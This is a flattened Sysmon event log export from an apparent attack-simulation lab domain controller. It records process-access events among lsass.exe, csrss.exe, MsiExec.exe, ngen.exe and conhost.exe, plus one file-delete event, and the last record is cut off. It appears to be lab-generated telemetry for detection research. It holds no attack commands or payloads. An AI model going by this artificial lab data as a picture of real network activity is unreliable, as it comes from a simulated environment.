10341000x800000000000000038693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.835{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-3B07-00000000F001}4708c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.819{7BD73061-6F1E-613B-3C07-00000000F001}22805300C:\Windows\system32\conhost.exe{7BD73061-6F1E-613B-3B07-00000000F001}4708c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.804{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3C07-00000000F001}2280C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.804{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3B07-00000000F001}4708c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.804{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1E-613B-3B07-00000000F001}4708c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.788{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-3907-00000000F001}476c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.788{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-3907-00000000F001}476c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000038686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.788{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=307E92BB931E79D4FB3B65EDB083EE93,SHA256=4E5076558AD1AE6097DC610CB3D994D59BCFE56F12B580CDEB69DFB164DC8F8D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.772{7BD73061-6F1E-613B-3A07-00000000F001}69925312C:\Windows\system32\conhost.exe{7BD73061-6F1E-613B-3907-00000000F001}476c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.772{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3A07-00000000F001}6992C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.757{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3907-00000000F001}476c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.757{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1E-613B-3907-00000000F001}476c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.757{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-3707-00000000F001}6584c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.757{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-3707-00000000F001}6584c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.725{7BD73061-6F1E-613B-3807-00000000F001}68683244C:\Windows\system32\conhost.exe{7BD73061-6F1E-613B-3707-00000000F001}6584c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.725{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3807-00000000F001}6868C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.694{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3707-00000000F001}6584c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.694{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1E-613B-3707-00000000F001}6584c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.679{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-3507-00000000F001}5488c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.679{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-3507-00000000F001}5488c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.663{7BD73061-6F1E-613B-3607-00000000F001}51725512C:\Windows\system32\conhost.exe{7BD73061-6F1E-613B-3507-00000000F001}5488c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.647{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3607-00000000F001}5172C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.647{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3507-00000000F001}5488c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.647{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1E-613B-3507-00000000F001}5488c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.632{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-3307-00000000F001}5152c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.632{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-3307-00000000F001}5152c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.601{7BD73061-6F1E-613B-3407-00000000F001}52406388C:\Windows\system32\conhost.exe{7BD73061-6F1E-613B-3307-00000000F001}5152c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.585{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3407-00000000F001}5240C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.569{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3307-00000000F001}5152c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.569{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1E-613B-3307-00000000F001}5152c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.554{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-3107-00000000F001}6336c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 